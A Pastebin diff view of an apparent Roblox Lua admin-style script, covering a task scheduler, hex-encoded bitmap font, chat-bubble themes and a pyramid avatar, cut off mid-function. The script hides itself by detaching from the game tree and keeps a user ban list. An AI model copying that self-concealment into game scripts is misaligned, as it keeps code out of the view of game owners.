View difference between Paste ID: sBLzHsG2 and 2iAxeQgg
SHOW: | | - or go back to the newest paste.
1
2
--
3
local RunService = game:service'RunService'
4
script.Parent=nil;
5-
local Player = game.Players.LocalPlayer or game.Players.areno2002
5+
6
local Lighting = game.Lighting
7
local Player = game.Players.LocalPlayer
8
local UserInterface = game:service'UserInputService'
9
local RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
10
local bannedlist = {"21506048","Dontnukeme"};
11
local changecamonpossess = false
12
local Debris = game:service'Debris'
13
local Mouse = Player:GetMouse() or nil
14
local Players = game.Players
15
local chatAdornee = Player.Character.Head
16
local RbxUtility = LoadLibrary("RbxUtility")
17
local CMDS = {};
18
local InsertService = game:service'InsertService'
19
local math = {
20
    abs = math.abs,
21
    acos = math.acos,
22
    asin = math.asin,
23
    atan = math.atan,
24
    atan2 = math.atan2,
25
    ceil = math.ceil,
26
    cos = math.cos,
27
    cosh = math.cosh,
28
    deg = math.deg,
29
    exp = math.exp,
30
    floor = math.floor,
31
    fmod = math.fmod,
32
    frexp = math.frexp,
33
    huge = math.huge,
34
    ldexp = math.ldexp,
35
    log = math.log,
36
    log10 = math.log10,
37
    max = math.max,
38
    min = math.min,
39
    modf = math.modf,
40
    phi = 1.618033988749895,
41
    pi = math.pi,
42
    pow = math.pow,
43
    rad = math.rad,
44
    random = math.random,
45
    randomseed = math.randomseed,
46
    sin = math.sin,
47
    sinh = math.sinh,
48
    sqrt = math.sqrt,
49
    tan = math.tan,
50
    tanh = math.tanh,
51
    tau = 2 * math.pi
52
}
53
54
55
TaskScheduler = {};
56
57
local currentTime = 0
58
local pairs = pairs
59
local rbx_coroutine_create = coroutine.create
60
local rbx_coroutine_resume = coroutine.resume
61
local rbx_Wait = Wait
62
local rbx_ypcall = ypcall
63
local threads, swapThreads = {}, {}
64
local function StartCoroutine(func, delay, ...)
65
        if delay > 0 then
66
                rbx_Wait(delay)
67
        end
68
        local success, message = rbx_ypcall(func, ...)
69
        if not success then
70
                print("Error in a TaskScheduler coroutine: "..message)
71
        end
72
end
73
function TaskScheduler.GetCurrentTime()
74
        return currentTime
75
end
76
function TaskScheduler.MainLoop(stepTime)
77
        currentTime = currentTime + stepTime
78
        threads, swapThreads = swapThreads, threads
79
        local threshold = -0.5 * stepTime
80
        for thread, resumeTime in pairs(swapThreads) do
81
                local remainingTime = currentTime - resumeTime
82
                if remainingTime >= threshold then
83
                        swapThreads[thread] = nil
84
                        local success, message = coroutine.resume(thread, remainingTime, currentTime)
85
                        if not success then
86
                                print("Error in a TaskScheduler custom thread: "..message)
87
                        end
88
                end
89
        end
90
        threads, swapThreads = swapThreads, threads
91
        for thread, resumeTime in pairs(swapThreads) do
92
                threads[thread], swapThreads[thread] = resumeTime, nil
93
        end
94
end
95
-- TODO: add stack trace info to scheduling functions?
96
function TaskScheduler.Schedule(t, f, ...)
97
        coroutine.resume(coroutine.create(StartCoroutine), f, t, ...)
98
end
99
function TaskScheduler.Start(f, ...)
100
        coroutine.resume(coroutine.create(StartCoroutine), f, 0, ...)
101
end
102
function TaskScheduler.ScheduleCustomThread(t, f)
103
        threads[coroutine.create(f)] = currentTime + t
104
end
105
function TaskScheduler.Wait(duration)
106
        duration = tonumber(duration) or 0
107
        threads[coroutine.running()] = currentTime + duration
108
        local remainingTime, currentTime = coroutine.yield()
109
        return remainingTime + duration, currentTime
110
end
111
local success, player = Players.LocalPlayer
112
if success and player then
113
        RunService.RenderStepped:connect(function()
114
                TaskScheduler.MainLoop(1 / 60)
115
        end)
116
else
117
        RunService.Stepped:connect(function()
118
                TaskScheduler.MainLoop(1 / 30)
119
        end)
120
end
121
122
ChatBubble = {};
123
124
local FONT_CUSTOM_A_SRC, FONT_CUSTOM_A, TextAlignment, LoadFixedFont, LoadFont, DrawTextNetwork, DrawMultilineTextNetwork, ConfigureChatBubble,
125
 
126
CreateChatBubble, WrapText, chat_bubbles
127
FONT_CUSTOM_A_SRC = "03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8000000000000000820820020001451400000000053E53E50000872870AF00000CB4216980008518AA4680008208000000004208208100010208208400000918900000000208F88200000000008210000000F8000000000000820000210420840001C9AACA270000860820870001C884210F8003E09C0A270000431493E10003E83C0A270001C83C8A270003E08420820001C89C8A270001C8A278270000820000820000020800821000019881818000003E03E000000C0C08CC0001C88420020001C8AABA070001C8A2FA288003C8BC8A2F0001C8A082270003C8A28A2F0003E83C820F8003E83C82080001C8A09A27800228BE8A288001C2082087000020820A2700".."022938922880020820820F80022DAAAA2880022CAA9A288001C8A28A270003C8A2F2080001C8A28AC58003C8A2F2488001C81C0A270003E2082082000228A28A27000228A28942000228AAAB688002250852288002289420820003E084210F8000E208208380010208104080038208208E00008522000000000000000F800102040000000007027A2780820838924E0000072082270008208E492380000722FA070000C41C4104000007A278270002082CCA288000801820870000400C114200020828C28900018208208700000D2AAAAA80000B328A28800007228A2700000E2493882000039248E082000B328208000007A0702F0000870820A1000008A28A66800008A28942000008AAAAA500000894214880000894210800000F84210F80188210208180008208208200C08204208C0000001AB0000003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80"
128
FONT_CUSTOM_A = {}
129
130
ChatBubble.THEME = {}
131
ChatBubble.THEME.AQUA = {
132
        Name = "Aqua",
133
        Background = Color3.new(0, 1 / 3, 0.5),
134
        Foreground = Color3.new(2 / 3, 1, 1)
135
}
136
ChatBubble.THEME.CLASSIC = {
137
        Name = "Classic",
138
        Background = Color3.new(0, 0, 0),
139
        Foreground = Color3.new(1, 1, 1)
140
}
141
142
ChatBubble.THEME.KAYAVEN = {
143
        Name = "Kayaven",
144
        Background = Color3.new(0, 0, 0),
145
        Foreground = Color3.new(0, 1, 0)
146
}
147
ChatBubble.THEME.CRIMSON = {
148
        Name = "Crimson",
149
        Background = Color3.new(0, 0, 0),
150
        Foreground = Color3.new(0.9, 0, 0)
151
}
152
ChatBubble.THEME.GRAPE = {
153
        Name = "Grape",
154
        Background = Color3.new(0.25, 0, 0.25),
155
        Foreground = Color3.new(1, 2 / 3, 1)
156
}
157
ChatBubble.THEME.LIBERATION = {
158
        Name = "Liberation",
159
        Background = Color3.new(1 / 6, 3 / 7, 3 / 7),
160
        Foreground = Color3.new(1, 1, 1)
161
}
162
ChatBubble.THEME.PASSION = {
163
        Name = "Passion",
164
        Background = Color3.new(0.5, 0, 0),
165
        Foreground = Color3.new(1, 1, 1)
166
}
167
ChatBubble.THEME.PURPLE = {
168
        Name = "Purple",
169
        Background = Color3.new(0.25, 0, 0.25),
170
        Foreground = Color3.new(1, 1, 1)
171
}
172
ChatBubble.THEME.RAINBOW = {
173
        Name = "Rainbow",
174
        Background = function(bubble_info)
175
                local billboard, frame = bubble_info[5], bubble_info[6]
176
                TaskScheduler.Start(function()
177
                        while billboard:IsDescendantOf(Workspace) do
178
                                local red, green, blue = Utility.GetRainbowRGB(tick())
179
                                frame.BackgroundColor3 = Color3.new(0.6 * red, 0.6 * green, 0.65 * blue)
180
                                RunService.Stepped:wait()
181
                        end
182
                end)
183
        end,
184
        Foreground = Color3.new(1, 1, 1)
185
}
186
ChatBubble.THEME.TEAL = {
187
        Name = "Teal",
188
        Background = Color3.new(0, 1 / 3, 0.5),
189
        Foreground = Color3.new(1, 1, 1)
190
}
191
 
192
function ChatBubble.GetTheme()
193
        return ChatBubble.theme_info
194
end
195
function ChatBubble.SetTheme(theme_info)
196
        if type(theme_info) == "string" then
197
                theme_info = string.lower(theme_info)
198
                for key, info in pairs(ChatBubble.THEME) do
199
                        if info.Name:lower() == theme_info:lower() then
200
                                ChatBubble.SetTheme(info)
201
                                break
202
                        end
203
                end
204
                return
205
        end
206
        ChatBubble.theme_info = theme_info
207
        ChatBubble.background_color = theme_info.Background
208
        ChatBubble.font = LoadFont(ChatBubble.FONT_DEFAULT, theme_info.Foreground)
209
        print("Theme has been set to "..theme_info.Name.." in ChatBubble")
210
end
211
 
212
do
213
local floor = math.floor
214
local max = math.max
215
local asc = string.byte
216
local chr = string.char
217
local find = string.find
218
local gmatch = string.gmatch
219
local sub = string.sub
220
local insert = table.insert
221
local type = type
222
local unpack = unpack
223
 
224
local PopIntegerBit
225
 
226
TextAlignment = setmetatable({
227
        [0] = 0,
228
        [1] = 1,
229
        [2] = 2,
230
        Left = 0,
231
        Center = 1,
232
        Right = 2
233
}, {
234
        __call = function(self, ...)
235
                local argc = #{...}
236
                if argc == 0 then
237
                        return 0
238
                else
239
                        local arg = (...)
240
                        local value = rawget(self, arg)
241
                        if value then
242
                                return value
243
                        else
244
                                local arg_type = type(arg)
245
                                error("Invalid value" .. ((arg_type == "number") and (" " .. arg) or ((arg_type == "string") and (" \"" .. arg .. "\"") or
246
 
247
"")) .. " for enum TextAlignment")
248
                        end
249
                end
250
        end
251
})
252
 
253
function PopIntegerBit(value, bit)
254
        if value >= bit then
255
                return 1, value - bit
256
        else
257
                return 0, value
258
        end
259
end
260
function LoadFixedFont(dest, src, height, width)
261
        local n = #src / 64 - 1
262
        local bit_index = 0
263
        local symbol_bits = width * height
264
        for i = 0, 255 do
265
                local char_data = {}
266
                for j = 1, height do
267
                        char_data[j] = {}
268
                end
269
                dest[i] = char_data
270
        end
271
        for i = 1, #src do
272
                local buffer = tonumber(sub(src, i, i), 16)
273
                for j = 1, 4 do
274
                        local code = floor(bit_index / symbol_bits)
275
                        local row = floor(bit_index / width) % height + 1
276
                        local column = bit_index % width + 1
277
                        dest[code][row][column], buffer = PopIntegerBit(buffer, 8)
278
                        buffer = buffer * 2
279
                        bit_index = bit_index + 1
280
                end
281
        end
282
end
283
function LoadFont(font_data, color)
284
        local font_obj = {}
285
        for character, char_data in pairs(font_data) do
286
                local code = character
287
                if type(code) ~= "number" then
288
                        code = asc(character)
289
                end
290
                local height = #char_data
291
                local width = #char_data[1]
292
                local pixel_h = 1 / height
293
                local pixel_w = 1 / width
294
                local pixel_size = UDim2.new(pixel_w, 0, pixel_h, 0)
295
                local frame = Instance.new("Frame")
296
                frame.BackgroundTransparency = 1
297
                frame.Name = ""
298
                for y = 1, height do
299
                        local row = char_data[y]
300
                        for x = 1, width do
301
                                local opacity = row[x]
302
                                if opacity ~= 0 then
303
                                        local pixel = Instance.new("Frame", frame)
304
                                        pixel.BackgroundColor3 = color
305
                                        pixel.BorderSizePixel = 0
306
                                        pixel.Name = ""
307
                                        pixel.Position = UDim2.new(x * pixel_w, 0, y * pixel_h, 0) - pixel_size
308
                                        pixel.Size = pixel_size -- + UDim2.new(0, 0, 0, 1) -- correction
309
                                        -- ^ never mind that correction, fixed by changing font size to 12x16 instead of 13x17
310
                                        if opacity then
311
                                                pixel.BackgroundTransparency = 1 - opacity
312
                                        end
313
                                end
314
                        end
315
                end
316
                font_obj[code] = {frame, height, width}
317
        end
318
        return font_obj
319
end
320
function DrawTextNetwork(text, font, size, delay_offset)
321
        if #text == 0 then
322
                text = " "
323
        end
324
        local frame = Instance.new("Frame")
325
        frame.BackgroundTransparency = 1
326
        frame.BorderSizePixel = 0
327
        local objects = {}
328
        local length = #text
329
        local height = 0
330
        local width = 0
331
        for i = 1, length do
332
                local character = sub(text, i, i)
333
                local code = asc(character)
334
                local char_data = assert(font[code] or FONT_SYMBOL_MISSING, "FONT ERROR: '" .. character .. "' (" .. code .. ") not found")
335
                local char_proto, char_h, char_w = unpack(char_data)
336
                objects[i] = char_data
337
                height = max(char_h, height)
338
                width = width + char_w
339
        end
340
        local offset = 0
341
        local punctuation_delay = 0
342
        for i = 1, length do
343
                delay(delay_offset + (i + punctuation_delay - 1) / 30, function()
344
                        local char_data = objects[i]
345
                        local char_proto, char_h, char_w = unpack(char_data)
346
                        local char_obj = char_proto:Clone()
347
                        char_obj.Position = UDim2.new(offset / width, 0, 0, 0)
348
                        char_obj.Size = UDim2.new(char_w / width, 0, 1, 0)
349
                        char_obj.Parent = frame
350
                        offset = offset + char_w
351
                end)
352
                local character = sub(text, i, i)
353
                if character == "." then
354
                        punctionation_delay = punctuation_delay + 3
355
                elseif character == "?" or character == "!" then
356
                        punctionation_delay = punctuation_delay + 2
357
                elseif character == ";" or character == "~" then
358
                        punctionation_delay = punctuation_delay + 1
359
                end
360
        end
361
        local ratio = (height == 0) and (0) or (width / height)
362
        frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale, size.Y.Offset)
363
        return frame, height, width, (length + punctuation_delay) / 30
364
end
365
function DrawMultilineTextNetwork(text, font, size, delay_offset, ...)
366
        local align = TextAlignment(...)
367
        local frame = Instance.new("Frame")
368
        frame.BackgroundTransparency = 1
369
        frame.BorderSizePixel = 0
370
        local height = 0
371
        local width = 0
372
        local objects = {}
373
        for line in gmatch(text .. "\n", "([^\n]*)\n") do
374
                local line_obj, line_h, line_w, line_delay = DrawTextNetwork(line, font, size, delay_offset)
375
                insert(objects, {line_obj, line_h, line_w})
376
                height = height + line_h
377
                width = max(line_w, width)
378
                delay_offset = delay_offset + line_delay
379
        end
380
        local offset = 0
381
        for index, line_data in ipairs(objects) do
382
                local line_obj, line_h, line_w = unpack(line_data)
383
                local align_offset
384
                if align == TextAlignment.Left then
385
                        align_offset = 0
386
                elseif align == TextAlignment.Center then
387
                        align_offset = 0.5 - line_w / width / 2
388
                elseif align == TextAlignment.Right then
389
                        align_offset = 1 - line_w / width
390
                end
391
                line_obj.Position = UDim2.new(align_offset, 0, offset / height, 0)
392
                line_obj.Parent = frame
393
                offset = offset + line_h
394
        end
395
        local line_count = #objects
396
        local ratio = (height == 0) and (0) or (line_count * width / height)
397
        frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale * line_count, size.Y.Offset * line_count)
398
        return frame, height, width
399
end
400
end
401
 
402
LoadFixedFont(FONT_CUSTOM_A, FONT_CUSTOM_A_SRC, 8, 6)
403
ChatBubble.FONT_DEFAULT = FONT_CUSTOM_A
404
ChatBubble.SetTheme("Rainbow")
405
 
406
chat_bubbles = {}
407
 
408
function CreateChatBubble(bubble_info)
409
        local creation_time, text, backup = bubble_info[1], bubble_info[2], bubble_info[8]
410
        local billboard, frame, label
411
        if backup and false then
412
                billboard = backup:Clone()
413
                frame = billboard.Frame
414
                label = frame.Label
415
                bubble_info[5] = billboard
416
                bubble_info[6] = frame
417
                bubble_info[7] = label
418
                billboard.Parent = Workspace
419
        else
420
                label = DrawMultilineTextNetwork(text, bubble_info[9], UDim2.new(0, 12, 0, 16), creation_time - time(), "Center")
421
                label.Name = "Label"
422
                label.Position = UDim2.new(0, 16, 0, 16)
423
                billboard = Instance.new("BillboardGui", Workspace)
424
                billboard.Adornee = chatAdornee
425
                billboard.AlwaysOnTop = true
426
                billboard.Size = UDim2.new(label.Size.X.Scale, label.Size.X.Offset + 32, label.Size.Y.Scale, label.Size.Y.Offset + 32)
427
                billboard.SizeOffset = Vector2.new(0, 0)
428
                billboard.StudsOffset = Vector3.new(0, 1, 0)
429
                frame = Instance.new("Frame", billboard)
430
                bubble_info[5] = billboard
431
                bubble_info[6] = frame
432
                bubble_info[7] = label
433
                local background_color = bubble_info[10]
434
                if type(background_color) == "function" then
435
                        background_color(bubble_info)
436
                else
437
                        frame.BackgroundColor3 = background_color
438
                end
439
                frame.BackgroundTransparency = 0.3
440
                frame.BorderSizePixel = 0
441
                frame.ClipsDescendants = true
442
                frame.Name = "Frame"
443
                frame.Size = UDim2.new(1, 0, 0, 0)
444
                label.Parent = frame
445
                -- bubble_info[8] = billboard:Clone()
446
        end
447
end
448
local tween_time = 0.3
449
function ConfigureChatBubble(bubble_info)
450
        local creation_time, destruction_time, billboard, frame = bubble_info[1], bubble_info[3], bubble_info[5], bubble_info[6]
451
        if not billboard or billboard.Parent ~= workspace then
452
                CreateChatBubble(bubble_info)
453
                billboard, frame = bubble_info[5], bubble_info[6]
454
        end
455
        if billboard.Adornee ~= chatAdornee then
456
                billboard.Adornee = chatAdornee
457
        end
458
        local current_time = time()
459
        local elapsed_time = current_time - creation_time
460
        local remaining_time = destruction_time - current_time
461
        if remaining_time < 0 then
462
                bubble_info[4] = false
463
                billboard:Destroy()
464
                return false
465
        elseif remaining_time < tween_time then
466
                local tween_progress = math.sin(remaining_time * math.pi / (tween_time * 2))
467
                frame.Size = UDim2.new(1, 0, tween_progress, 0)
468
        elseif elapsed_time < tween_time then
469
                local tween_progress = math.sin(elapsed_time * math.pi / (tween_time * 2))
470
                frame.Size = UDim2.new(1, 0, tween_progress, 0)
471
        elseif frame.Size ~= UDim2.new(1, 0, 1, 0) then
472
                frame.Size = UDim2.new(1, 0, 1, 0)
473
        end
474
        return true
475
end
476
function ChatBubble.MainLoop()
477
        local offset = 0
478
        local removing = {}
479
        for index, bubble_info in ipairs(chat_bubbles) do
480
                if not ConfigureChatBubble(bubble_info) then
481
                        removing[#removing + 1] = index - #removing
482
                else
483
                        local billboard, frame = bubble_info[5], bubble_info[6]
484
                        local billboard_h = billboard.Size.Y.Offset
485
                        local bubble_h = frame.Size.Y.Scale * billboard_h
486
                        offset = 8 + offset + bubble_h
487
                        billboard.SizeOffset = Vector2.new(0, offset / billboard_h - 0.5)
488
                end
489
        end
490
        for index, bubble_index in ipairs(removing) do
491
                table.remove(chat_bubbles, bubble_index)
492
        end
493
        RunService.Stepped:wait()
494
end
495
function WrapText(text, character_limit, line_length_limit)
496
        if #text > character_limit then
497
                text = string.sub(text, 1, character_limit - 3) .. "..."
498
        end
499
        local text_length = #text
500
        local line_length = 0
501
        local i = 0
502
        while i <= text_length do
503
                i = i + 1
504
                local character = string.sub(text, i, i)
505
                if character == "\t" then
506
                        local tabulation_size = 4 - line_length % 4
507
                        line_length = line_length + tabulation_size
508
                        if line_length >= line_length_limit then
509
                                tabulation_size = line_length - line_length_limit
510
                                line_length = 0
511
                                text_length = text_length + tabulation_size
512
                                text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. "\n" .. string.sub(text, i + 1)
513
                                i = i + tabulation_size + 1
514
                        else
515
                                text_length = text_length + tabulation_size - 1
516
                                text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. string.sub(text, i + 1)
517
                                i = i + tabulation_size - 1
518
                        end
519
                elseif character == "\n" then
520
                        line_length = 0
521
                else
522
                        line_length = line_length + 1
523
                        if line_length >= line_length_limit then
524
                                local k = i - line_length + 1
525
                                local success = false
526
                                for j = i, k, -1 do
527
                                        if string.match(string.sub(text, j, j), "[ \t]") then
528
                                                text = string.sub(text, 1, j - 1) .. "\n" .. string.sub(text, j + 1)
529
                                                text_length = text_length + 1
530
                                                success = true
531
                                                break
532
                                        end
533
                                end
534
                                if not success then
535
                                        text = string.sub(text, 1, i) .. "\n" .. string.sub(text, i + 1)
536
                                        text_length = text_length + 1
537
                                end
538
                                i = i + 1
539
                                line_length = 0
540
                        end
541
                end
542
        end
543
        if #text > character_limit then
544
                text = string.sub(text, 1, character_limit - 3) .. "..."
545
        end
546
        return text
547
end
548
function ChatBubble.Create(text, theme)
549
        local text = WrapText(text, 200, 30)
550
        local creation_time = time()
551
        local bubble_info = {creation_time, text, creation_time + 6 + #text / 15, true}
552
        local previousTheme
553
        if theme then
554
                previousTheme = ChatBubble.GetTheme()
555
                ChatBubble.SetTheme(theme)
556
        end
557
        bubble_info[9] = ChatBubble.font
558
        bubble_info[10] = ChatBubble.background_color
559
        if previousTheme then
560
                ChatBubble.SetTheme(previousTheme)
561
        end
562
        table.insert(chat_bubbles, 1, bubble_info)
563
end
564
TaskScheduler.Start(function()
565
        while true do
566
                ChatBubble.MainLoop()
567
        end
568
end)
569
570
PyramidCharacter = {};
571
572
local stock_triangle = Instance.new("WedgePart")
573
stock_triangle.Anchored = true
574
stock_triangle.BottomSurface = "Smooth"
575
stock_triangle.FormFactor = "Custom"
576
stock_triangle.Locked = true
577
stock_triangle.TopSurface = "Smooth"
578
local stock_triangle_mesh = Instance.new("SpecialMesh", stock_triangle)
579
stock_triangle_mesh.MeshType = "Wedge"
580
local triangles = {}
581
function PyramidCharacter.CreateTriangle(v1, v2, v3, properties, parent, index)
582
        local triangleInfo = triangles[index]
583
        local side1 = (v1 - v2).magnitude
584
        local side2 = (v2 - v3).magnitude
585
        local side3 = (v3 - v1).magnitude
586
        local sqrside1 = side1 * side1
587
        local sqrside2 = side2 * side2
588
        local sqrside3 = side3 * side3
589
        if sqrside3 + sqrside1 == sqrside2 then
590
                v1, v2, v3 = v1, v2, v3
591
        elseif sqrside1 + sqrside2 == sqrside3 then
592
                v1, v2, v3 = v2, v3, v1
593
        elseif sqrside2 + sqrside3 == sqrside1 then
594
                v1, v2, v3 = v3, v1, v2
595
        elseif sqrside1 >= sqrside2 and sqrside1 >= sqrside3 then
596
                v1, v2, v3 = v1, v2, v3
597
        elseif sqrside2 >= sqrside3 and sqrside2 >= sqrside1 then
598
                v1, v2, v3 = v2, v3, v1
599
        else
600
                v1, v2, v3 = v3, v1, v2
601
        end
602
        local model, part1, part2, mesh1, mesh2
603
        if triangleInfo then
604
                model, part1, part2, mesh1, mesh2 = unpack(triangleInfo)
605
                if not (model.Parent == parent and part1.Parent == model and part2.Parent == model and mesh1.Parent == part1 and mesh2.Parent == part2) then
606
                        if model.Parent then
607
                                model:Destroy()
608
                        end                    
609
                        model = nil
610
                end
611
        else
612
                triangleInfo = {}
613
                triangles[index] = triangleInfo
614
        end
615
        if not model then
616
                model = Instance.new("Model")
617
                part1 = stock_triangle:Clone()
618
                part2 = stock_triangle:Clone()
619
                mesh1 = part1.Mesh
620
                mesh2 = part2.Mesh
621
                part1.Parent = model
622
                part2.Parent = model
623
                triangleInfo[1] = model
624
                triangleInfo[2] = part1
625
                triangleInfo[3] = part2
626
                triangleInfo[4] = mesh1
627
                triangleInfo[5] = mesh2
628
        end
629
        for key, value in pairs(properties) do
630
                part1[key] = value
631
                part2[key] = value
632
        end
633
        local cframe = CFrame.new(v1, v2)
634
        local relpos = cframe:pointToObjectSpace(v3)
635
        cframe = cframe * CFrame.fromEulerAnglesXYZ(0, 0, -math.atan2(relpos.x, relpos.y))
636
        local rel1 = cframe:pointToObjectSpace(v1)
637
        local rel2 = cframe:pointToObjectSpace(v2)
638
        local rel3 = cframe:pointToObjectSpace(v3)
639
        local height = rel3.y
640
        local width1 = rel3.z
641
        local width2 = rel2.z - rel3.z
642
        local relcenter1 = Vector3.new(0, height / 2, width1 / 2)
643
        local center1 = cframe:pointToWorldSpace(relcenter1)
644
        local relcenter2 = Vector3.new(0, height / 2, width2 / 2 + width1)
645
        local center2 = cframe:pointToWorldSpace(relcenter2)
646
        height = math.abs(height)
647
        width1 = math.abs(width1)
648
        width2 = math.abs(width2)
649
        if not part1.Anchored then
650
                part1.Anchored = true
651
        end
652
        part1.Size = Vector3.new(0.2, height, width1)
653
        part1.CFrame = cframe * CFrame.fromEulerAnglesXYZ(0, math.pi, 0) - cframe.p + center1  
654
        mesh1.Scale = Vector3.new(0, height / part1.Size.y, width1 / part1.Size.z)
655
        if not part2.Anchored then
656
                part2.Anchored = true
657
        end
658
        part2.Size = Vector3.new(0.2, height, width1)
659
        part2.CFrame = cframe - cframe.p + center2
660
        mesh2.Scale = Vector3.new(0, height / part1.Size.y, width2 / part2.Size.z)
661
        model.Parent = parent
662
        return model
663
end
664
PyramidCharacter.head_properties = {BrickColor = BrickColor.new(Color3.new(1, 1, 1)), Transparency = 0.5}
665
PyramidCharacter.head_radius = math.pi
666
PyramidCharacter.center = CFrame.new(0, 10, 0)
667
PyramidCharacter.point1 = Vector3.new()
668
PyramidCharacter.point2 = Vector3.new()
669
PyramidCharacter.point3 = Vector3.new()
670
PyramidCharacter.point4 = Vector3.new()
671
PyramidCharacter.core_mesh_scale = Vector3.new(0.833, 0.833, 0.833)
672
PyramidCharacter.visible = false
673
function PyramidCharacter.Teleport(location)
674
        PyramidCharacter.point1 = location
675
        PyramidCharacter.point2 = location
676
        PyramidCharacter.point3 = location
677
        PyramidCharacter.point4 = location
678
end
679
local stock_core = Instance.new("Part")
680
stock_core.Anchored = true
681
stock_core.BottomSurface = "Smooth"
682
stock_core.Color = Color3.new(1, 1, 1)
683
stock_core.FormFactor = "Custom"
684
stock_core.Locked = true
685
stock_core.Name = "CubePyramid"
686
stock_core.Size = Vector3.new(0.5, 0.5, 0.5)
687
stock_core.TopSurface = "Smooth"
688
PyramidCharacter.stock_core = stock_core
689
PyramidCharacter.core = stock_core:Clone()
690
PyramidCharacter.Archivable = false
691
PyramidCharacter.core_mesh = Instance.new("BlockMesh", core)
692
PyramidCharacter.core_lights = {}
693
PyramidCharacter.coreLightCount = 1
694
for index = 1, PyramidCharacter.coreLightCount do
695
        PyramidCharacter.core_lights[index] = Instance.new("PointLight", core)
696
end
697
PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
698
PyramidCharacter.camera_position = Vector3.new()
699
Camera.Changed:connect(function(property)
700
        if PyramidCharacter.visible then
701
                if property == "CoordinateFrame" then
702
                        local cframe, focus = Camera.CoordinateFrame, Camera.Focus
703
                        local eventTime = time()
704
                        local connection
705
                        connection = Camera.Changed:connect(function()
706
                                connection:disconnect()
707
                                if eventTime == time() and Camera.Focus ~= focus then
708
                                        local camera_distance = PyramidCharacter.camera_distance
709
                                        Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
710
                                        PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
711
                                end
712
                        end)
713
                        coroutine.yield()
714
                        if Camera.Focus == focus then
715
                                PyramidCharacter.camera_distance = (focus.p - cframe.p).magnitude
716
                        else
717
                                local camera_distance = PyramidCharacter.camera_distance
718
                                Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
719
                                PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
720
                        end
721
                        if connection.connected then
722
                                connection:disconnect()
723
                        end
724
                end
725
        end
726
end)
727
function PyramidCharacter.Animate()
728
        local total_time = time()
729
        local core = PyramidCharacter.core
730
        local frame = PyramidCharacter.frame
731
        if PyramidCharacter.visible then
732
                local core_mesh = PyramidCharacter.core_mesh
733
                local core_lights = PyramidCharacter.core_lights
734
                if not frame or frame.Parent ~= core then
735
                        frame = Instance.new("Model")
736
                        frame.Archivable = false
737
                        frame.Parent = core
738
                        PyramidCharacter.frame = frame
739
                end
740
                if core.Parent ~= Workspace then
741
                        core = PyramidCharacter.stock_core:Clone()
742
                        PyramidCharacter.core = core
743
                        core.Archivable = false
744
                        core.Parent = Workspace
745
                        chatAdornee = core
746
                end
747
                if core_mesh.Parent ~= core then
748
                        core_mesh = Instance.new("BlockMesh", core)
749
                        PyramidCharacter.core_mesh = core_mesh
750
                end
751
                for index, core_light in ipairs(core_lights) do
752
                        if core_light.Parent ~= core then
753
                                core_light = Instance.new("PointLight", core)
754
                                core_lights[index] = core_light
755
                        end
756
